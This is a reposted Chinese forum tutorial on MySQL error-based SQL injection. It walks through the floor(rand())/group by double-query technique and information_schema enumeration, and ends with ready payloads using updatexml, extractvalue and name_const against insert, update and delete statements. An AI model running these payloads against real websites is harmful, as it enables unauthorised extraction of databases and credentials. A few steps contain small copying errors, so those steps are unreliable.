本文转自:http://bbs.blackbap.org/forum.php?mod=viewthread&tid=6483&highlight=mysql%2B报错注入
用SQL注入获取数据库数据,利用的方法可以大致分为联合查询、报错、布尔盲注以及延时注入,通常这些方法都是基于SELECT查询语句中的SQL注射 点来实现的。如果涉及非SELECT查询的注入,我们通常用到的就是mysql注入查询 创建一个test表 USE test; CREATE TABLE test(num int(5)); INSERT INTO test VALUES(1); INSERT INTO test VALUES(2); INSERT INTO test VALUES(3); INSERT INTO test VALUES(4); SELECT * FROM test; 复制代码 主要涉及的mysql函数语句: 1. Rand() #随机函数 2. Floor() #取整函数 3. CONUNT() #汇总函数 4. Group by #分组语句 复制代码 原理: 当在一个聚合函数,比如CONUNT函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来 --源于安全研究人员 简单的例子: use test; 复制代码 然后简单看一下CONCAT的用法 SELECT CONCAT("a","b"); 复制代码 查询什么就出来什么, 下面分别看一下其它几个函数的作用 SELECT rand(); 复制代码 Rand()函数,学过编程的人都应该知道是一个产生随机数的函数范围在(0,1)之间的浮点数 再看看floor()函数 SELECT floor(3.141216545); 复制代码 显而易见,是一个取整的函数 SELECT floor(rand()*2); 复制代码 Rand()的范围是(0,1)*2==>(0,2) 那么floor(rand()*2)取整后就是0和1两个数 SELECT CONCAT((SELECT database()),floor(rand()*2)); 复制代码 如果我们将上面那句加上from某个表,就会返回test0和test1的集合,返回的长度有表的记录数决定 ,例如我们from一下test表。 返回了4行数据 那么,我们如何过滤掉这些重复的信息呢? 这里就要用到group by语句,group by的作用是: 用于结合合计函数,根据一个或多个列对结果集进行分组。 我们来查询一下 SELECT CONCAT((SELECT database()),floor(rand()*2)) as a from test group by a; 复制代码 这样就不会有那么多无用的信息 简单解释一下语句: CONCAT((SELECT database()),floor(rand()*2)) as a 这个就是将列名重命名为a,看图对比一 下即可知道 Group by a就是将根据a这个列的数据,将查询出来相同的数据分到一个组里面,因此我们看 到的数据就只有两个不同的 同理,我们可以将database()换成其它你想要查询的东西,如version(),@@data等。 而我们注入的时候通常是通过mysql的information_schema这个数据库来查询信息, 查询数据名就查询schemata的SCHEMA_NAME这个列 暴库 select * from information_schema.schemata; 复制代码 里面就是我的数据名字 爆表 SELECT DISTINCT TABLE_NAME FROM information_schema.tables; 复制代码 爆列名 SELECT DISTINCT TABLE_NAME FROM information_schema.tables; 复制代码 太长了我就不截图了,自己去看看吧 爆字段就更简单了 直接查询就是 SELECT username,password FROM admin; 复制代码 假如存在这列名和表 知道这些后我们利用报错注入就可以,查询到我们想要的数据了 select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a; 复制代码 为了好看你可以加一些标记 select count(*), concat('--',(select user()),'--', floor(rand()*2))as a from information_schema.tables group by a; 复制代码 更加高级的一点的就是,我们真正用到的双注入查询,是select的嵌套子查询,就是select里面还有一个select查询语句 通常是一种固定的格式,适用于没有回现位置和不能order by确定的注入 union select 1 from (select+count(*),concat(floor(rand(0)*2),( 注入爆数据语句))a from information_schema.tables group by a)b 蓝色部分就是我们之前讲的基本报错原理,而union是因为我们注入网站时,别人查询数据我 们使用union关键字进行联合查询,那如果人家使用的不是select查询呢? 如果不是select,我们可以将这个语句嵌套到里面去就可,如使用or关键字等,进行查询,同样 可以进行注入,这个比较灵活 详情可以参考一下这篇文章 http://www.exploit-db.com/wp-content/themes/exploit/docs/33253.pdf 本来想贴某云的地址的,但想想还是算了。 简单测试了一下,还是可以的,主要用到的代码是这几个 or updatexml(1,concat(0x7e,(version())),0) or '' or extractvalue(1,concat(0x7e,database())) or '' or (SELECT * FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or '' 复制代码 主要就是三种,还有一些其他的就不贴出来了,都是放在插入、删除和更新的字段后面 简单举个例子吧 insert into test values (5 or updatexml(1,concat(0x7e,(version())),0) or''); 复制代码 记得后面加两个单引号! 关于实例,可以论坛搜索,看30的帖子吧。这里就不做演示了 链接 http://bbs.blackbap.org/thread-2360-1-1.html http://bbs.blackbap.org/thread-2235-1-1.html PS:写的不好大牛勿喷,不知道排版怎么样,其实我在乎的是排版不是内容 写在最后,谢谢观看 参考文章: http://www.cnseay.com/2363/ http://bugs.mysql.com/bug.php?id=8652 http://www.websec.ca/kb/sql_injection#MySQL_Specific_Code